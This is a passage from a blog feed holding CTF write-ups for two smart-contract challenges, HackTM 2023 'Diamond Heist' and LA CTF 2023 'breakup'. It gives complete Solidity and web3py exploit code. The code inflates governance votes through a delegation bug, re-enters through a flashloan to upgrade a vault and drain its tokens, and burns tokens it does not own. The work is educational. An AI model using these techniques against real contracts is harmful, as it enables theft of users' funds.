&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;Diamond Heist&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/kangsangsoo/CTF-Writeups/blob/main/diamond_heist_contracts.zip&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/kangsangsoo/CTF-Writeups/blob/main/diamond_heist_contracts.zip&lt;/a&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;We should make diamond Vault to Setup contract&lt;/li&gt;
&lt;li&gt;Vault contract inherits UUPSUpgradeable.&lt;/li&gt;
&lt;li&gt;Vault contract's governance consists of SaltyPretzel's voting utils.&lt;/li&gt;
&lt;li&gt;Vault contract has flashloan function.&lt;/li&gt;
&lt;li&gt;Vault contract overrides _authorizeUpgrade()&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;Root Cause&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;It is well-known bug called sushi-swap double spending bug&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;&lt;a href=&quot;https://medium.com/bulldax-finance/sushiswap-delegation-double-spending-bug-5adcc7b3830f&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://medium.com/bulldax-finance/sushiswap-delegation-double-spending-bug-5adcc7b3830f&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The voting power do not move when token is transferred.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When first called delegate(), currentDelegate becomes 0 in _delegate(), which causes it to pass the first if statement in _moveDelegate() and only enter the second.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So we can concentrate voting power in one address by continuously transferring tokens to a new wallet.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;Exploit&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;Part 1 - charging voting power&amp;nbsp;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;I prepared private keys over 100 and charged my voting power.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flow of token&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0 &amp;gt; 1 &amp;gt; 2 &amp;gt; ... &amp;gt; 99 &amp;gt; 100 &amp;gt; 101 ..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flow of voting power&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;0 &amp;gt; ME, 1 &amp;gt; ME, 2 &amp;gt; ME, ..., 100 &amp;gt; ME, 101 &amp;gt; ME&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;web3py&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1676782380445&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pk = hex(1).ljust(66, &quot;0&quot;)
addr=w3.eth.account.from_key(pk).address
transfer(myAddr, addr, prikey)
send_ether(myAddr, addr, prikey, 120 * 10 ** 18)
delegate(addr, Attack, pk)

for i in range(1, 110):
    pk = hex(i).ljust(66, &quot;0&quot;)
    nxt_pk = hex(i+1).ljust(66, &quot;0&quot;)
    addr=w3.eth.account.from_key(pk).address
    nxt_addr=w3.eth.account.from_key(nxt_pk).address
    transfer(addr, nxt_addr, pk)
    send_ether(addr, nxt_addr, pk, 120 * 10 ** 18 - (10 ** 18 * i)) 
    delegate(nxt_addr, Attack, nxt_pk)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;Part 2 - upgrade implement contract address&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/utils/UUPSUpgradeable.sol#L68&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/utils/UUPSUpgradeable.sol#L68&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If we satisfy below require statement, we could change implementation address.&lt;/p&gt;
&lt;pre id=&quot;code_1676782452221&quot; class=&quot;sol reasonml&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    function _authorizeUpgrade(address) internal override view {
        require(msg.sender == owner() || msg.sender == address(this));
        require(IERC20(diamond).balanceOf(address(this)) == 0);
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;First, we should new implement contract code for transferring diamond from Vault to me.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I wrote new_implement.sol by adding Vault.sol to transfer function&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676782638602&quot; class=&quot;sol actionscript&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// ...
// vault.sol 
	function transfer(address to, uint amount) external {
        diamond.transfer(to, amount);
    }
// ...
// ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Beforehand, I deployed this contract on blockchain.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;And I executed flashloan() of Vault to make vault's balance of diamond zero, then we re-enter governanceCall() through callback of onFlashloan().&lt;/p&gt;
&lt;pre id=&quot;code_1676782860995&quot; class=&quot;sol routeros&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
            vault.governanceCall(abi.encodeWithSignature(&quot;upgradeTo(address)&quot;, new_impl));
            IERC20(diamond).transfer(address(vault), 100);
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Part3 - exploit diamond&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;Just execute transfer() that we generated by upgradeTo()&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1676782890412&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;vault.governanceCall(abi.encodeWithSignature(&quot;transfer(address,uint256)&quot;, setup, 100));&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Attack.sol&lt;/p&gt;
&lt;pre id=&quot;code_1676782995884&quot; class=&quot;sol haxe&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import &quot;./VaultFactory.sol&quot;;
import &quot;./Vault.sol&quot;;
import &quot;./Diamond.sol&quot;;
import &quot;./SaltyPretzel.sol&quot;;
import &quot;./Setup.sol&quot;;
import &quot;./SaltyPretzel.sol&quot;;
import &quot;./openzeppelin-contracts/interfaces/IERC3156FlashBorrower.sol&quot;;

contract Attack is IERC3156FlashBorrower{
    uint constant public AUTHORITY_THRESHOLD = 10_000 ether;
    address setup;
    Vault public vault;
    Diamond public diamond;
    SaltyPretzel public saltyPretzel;
    address new_impl;
    constructor(address _to, address _setup, address _vault, address _diamond, address _saltyPretzel, address _new_impl) {
        setup = _setup;
        Setup(_setup).claim();
        vault = Vault(_vault);
        diamond = Diamond(_diamond);
        saltyPretzel = SaltyPretzel(_saltyPretzel);
        saltyPretzel.transfer(_to, 100 ether);
        new_impl = _new_impl;
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
            vault.governanceCall(abi.encodeWithSignature(&quot;upgradeTo(address)&quot;, new_impl));
            IERC20(diamond).transfer(address(vault), 100);
    }

    uint public step = 0;
    function attack1() public {
        if(step==0) vault.flashloan(address(diamond), 100, address(this));
        if(step==1) vault.governanceCall(abi.encodeWithSignature(&quot;transfer(address,uint256)&quot;, setup, 100));
        step += 1;

    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;attack.py&lt;/p&gt;
&lt;pre id=&quot;code_1676783030287&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from web3 import Web3
from solc import compile_source
from Crypto.Util.number import *
from pwn import *
# r = remote(&quot;34.141.16.87&quot;, 30200)
# r.sendlineafter(&quot;action&quot;, &quot;1&quot;)

w3 = Web3(Web3.HTTPProvider(&quot;http://34.141.16.87:30201/6641d991-702c-43ad-9d84-c3b4f58ad327&quot;))

#Check Connection
t=w3.isConnected()
print(t)

# Get env
prikey = '0x7f26c94f0ef1686a66825e465f13d526f5a10b26d69ecc19806caeacdc9b9ca5'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address

Setup = &quot;0x96B2D47F07Cf1eb6c1391dB72C0632dD0E4fAEf4&quot;
Vault = Web3.toChecksumAddress(hex(bytes_to_long(w3.eth.get_storage_at(Setup, 1))))
Diamond = Web3.toChecksumAddress(hex(bytes_to_long(w3.eth.get_storage_at(Setup, 2))))
SaltyPretzel = Web3.toChecksumAddress(hex(bytes_to_long(w3.eth.get_storage_at(Setup, 3))))

def balance():
    f = open('salty_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=SaltyPretzel, abi=abi)
    func_call = contract.functions.balanceOf(myAddr).call()
    print(func_call)

def deploy_new_impl():
    f = open(&quot;new_impl_abi&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()
    f = open(&quot;new_impl_bytecode&quot;, &quot;r&quot;); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor().buildTransaction(
        {
            &quot;chainId&quot;: w3.eth.chain_id,
            &quot;gasPrice&quot;: w3.eth.gas_price,
            &quot;from&quot;: Public_Address,
            &quot;nonce&quot;: w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print(&quot;Deploying Contract!&quot;)
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print(&quot;Waiting for transaction to finish...&quot;)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f&quot;Done! Contract deployed to {transaction_receipt.contractAddress}&quot;)
    return str(transaction_receipt.contractAddress)

def init():
    f = open('new_impl_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=New_impl, abi=abi)
    func_call = contract.functions[&quot;initialize&quot;](Diamond, SaltyPretzel).buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id
    })

    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def deploy_attack():
    f = open(&quot;attack_abi&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()
    f = open(&quot;attack_bytecode&quot;, &quot;r&quot;); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(myAddr, Setup, Vault, Diamond, SaltyPretzel, New_impl).buildTransaction(
        {
            &quot;chainId&quot;: w3.eth.chain_id,
            &quot;gasPrice&quot;: w3.eth.gas_price,
            &quot;from&quot;: Public_Address,
            &quot;nonce&quot;: w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print(&quot;Deploying Contract!&quot;)
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print(&quot;Waiting for transaction to finish...&quot;)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f&quot;Done! Contract deployed to {transaction_receipt.contractAddress}&quot;)
    return str(transaction_receipt.contractAddress)

def attack():
    f = open('attack_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=Attack, abi=abi)
    func_call = contract.functions.attack1().buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id
    })

    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def transfer(_from, _to, _prikey):
    f = open('salty_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=SaltyPretzel, abi=abi)
    func_call = contract.functions.transfer(_to, 100 * 10 ** 18).buildTransaction({
        &quot;from&quot;: _from,
        &quot;nonce&quot;: w3.eth.get_transaction_count(_from),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id
    })

    signed_tx = w3.eth.account.sign_transaction(func_call, _prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def delegate(_from, _to, _prikey):
    f = open('salty_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=SaltyPretzel, abi=abi)
    func_call = contract.functions[&quot;delegate&quot;](_to).buildTransaction({
        &quot;from&quot;: _from,
        &quot;nonce&quot;: w3.eth.get_transaction_count(_from),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id
    })

    signed_tx = w3.eth.account.sign_transaction(func_call, _prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def send_ether(_from, _to, _prikey, amount):
    signed_txn = w3.eth.account.signTransaction(dict(
        nonce=w3.eth.getTransactionCount(_from),
        gasPrice = w3.eth.gasPrice, 
        gas = 1000000,
        to=_to,
        value = amount
        ),
        _prikey
    )
    result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

New_impl = deploy_new_impl()
init()

Attack = deploy_attack()

pk = hex(1).ljust(66, &quot;0&quot;)
addr=w3.eth.account.from_key(pk).address
transfer(myAddr, addr, prikey)
send_ether(myAddr, addr, prikey, 120 * 10 ** 18)
delegate(addr, Attack, pk)

for i in range(1, 110):
    pk = hex(i).ljust(66, &quot;0&quot;)
    nxt_pk = hex(i+1).ljust(66, &quot;0&quot;)
    addr=w3.eth.account.from_key(pk).address
    nxt_addr=w3.eth.account.from_key(nxt_pk).address
    transfer(addr, nxt_addr, pk)
    send_ether(addr, nxt_addr, pk, 120 * 10 ** 18 - (10 ** 18 * i)) 
    delegate(nxt_addr, Attack, nxt_pk)

attack()
attack()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;HackTM{m1ss10n_n0t_th4t_1mmut4ble_58fb67c04fd7fedc}&lt;/i&gt;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/155</guid>
      <comments>https://gss1.tistory.com/entry/HackTM-CTF-Quals-2023-smart-contractDragon-Slayer-Diamond-Heist#entry155comment</comments>
      <pubDate>Sun, 19 Feb 2023 21:04:27 +0900</pubDate>
    </item>
    <item>
      <title>LA CTF 2023 - pwn(breakup, evmvm, sailor)</title>
      <link>https://gss1.tistory.com/entry/LA-CTF-2023-pwnbreakup-evmvm-sailor</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;I participated in &lt;a href=&quot;https://ctftime.org/event/1732&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;LA CTF 2023.&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;There are two solidity and one solana.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I put all efforts into solving blockchain challenges for 2 days.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;One chall was solved and my thought were very closely intended solution but not solved. :sad:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;However, regardless of the fact that I solved only one chall, I learnd a lot through this opportunity!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I want to share what I learned.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;breakup&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;870&quot; data-origin-height=&quot;363&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qkXzO/btrYY6H1YzE/sysdgc65SgHxlNObjWSTE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qkXzO/btrYY6H1YzE/sysdgc65SgHxlNObjWSTE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qkXzO/btrYY6H1YzE/sysdgc65SgHxlNObjWSTE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqkXzO%2FbtrYY6H1YzE%2Fsysdgc65SgHxlNObjWSTE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;870&quot; height=&quot;363&quot; data-origin-width=&quot;870&quot; data-origin-height=&quot;363&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/uclaacm/lactf-archive/tree/master/2023/pwn/breakup&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/uclaacm/lactf-archive/tree/master/2023/pwn/breakup&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Setup.sol&lt;/p&gt;
&lt;pre id=&quot;code_1676263367199&quot; class=&quot;sol reasonml&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Setup {
    Friend public immutable friend;
    SomebodyYouUsedToKnow public immutable somebodyYouUsedToKnow;

    constructor() {
        friend = new Friend();
        somebodyYouUsedToKnow = new SomebodyYouUsedToKnow(friend);
    }

    function isSolved() external view returns (bool) {
        uint256 totalFriends = friend.balanceOf(address(somebodyYouUsedToKnow)); // 0?
        if (totalFriends == 0) {
            return true;
        }

        bytes memory you = &quot;You&quot;;
        for (uint256 i = 0; i &amp;lt; totalFriends; i++) {
            bytes memory thisNameBytes = bytes(
                friend.friendNames(friend.tokenOfOwnerByIndex(address(somebodyYouUsedToKnow), i))
            );
            if (you.length == thisNameBytes.length &amp;amp;&amp;amp; keccak256(you) == keccak256(thisNameBytes)) {
                return false;
            }
        }

        return true;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If we meet condition totalFriends == 0, we could get flag.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;totalFriends == 0 means that the balance of somebodyYouUsedToKnow in friend contract is zero.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Friend.sol&lt;/p&gt;
&lt;pre id=&quot;code_1676263619564&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import &quot;@openzeppelin/contracts/access/Ownable.sol&quot;;
import &quot;@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol&quot;;
import &quot;@openzeppelin/contracts/utils/Counters.sol&quot;;
contract Friend is ERC721Enumerable, Ownable {
    using Counters for Counters.Counter;

    Counters.Counter private _uuidCounter;
    mapping(uint256 =&amp;gt; string) public friendNames;

    constructor() ERC721(&quot;Friend&quot;, &quot;FRN&quot;) {}

    function safeMint(address to, string calldata name) public {
        _uuidCounter.increment();
        uint256 tokenId = _uuidCounter.current();
        _safeMint(to, tokenId);
        friendNames[tokenId] = name;
    }

    function burn(uint256 tokenId) public {
        _burn(tokenId);
        delete friendNames[tokenId];
    }
    ...
    ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Friend inherited ERC721. Have you heard NFT? ERC721 is a implementation of NFT.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When we write contract by solidity, we usually use openzeppelin. It provides many &lt;span style=&quot;background-color: #ffffff; color: #4d5156;&quot;&gt;interfaces, contracts, and utilities.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Root Cause&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In friend.sol, burn does not check caller == token owner.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So I am not token owner but I can burn anything!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Exploit&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;somebodyYouUsedToKnow&lt;span&gt; has only 1 token and tokenID is 1. (by using balanceOf(), owernOf())&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676264740904&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider(&quot;https://breakup.lac.tf/774b5c90-e954-45d0-947c-e7b50f9b841c&quot;))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey =  '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3

myAddr = &quot;0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695&quot;

def burn(friend, tokenId: int):
    f = open('friend.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=friend, abi=abi)
    func_call = contract.functions[&quot;burn&quot;](tokenId).buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)


SETUP = &quot;0x28c6379a43411c26AbAB5b6F4171F17554e59fB3&quot;
FRIEND = &quot;0xb9f929C79A5120190f7715DA36c01d31d61b12eC&quot;
SOMEBODY = &quot;0xfBB4319f64f5460A0f7D68D2632136E4D1F6f5eD&quot;

burn(FRIEND, 1)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;how to get abi.txt&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://stackoverflow.com/questions/69269101/please-how-do-i-get-abi-of-my-token-after-deploying-on-bscmainet&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://stackoverflow.com/questions/69269101/please-how-do-i-get-abi-of-my-token-after-deploying-on-bscmainet&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
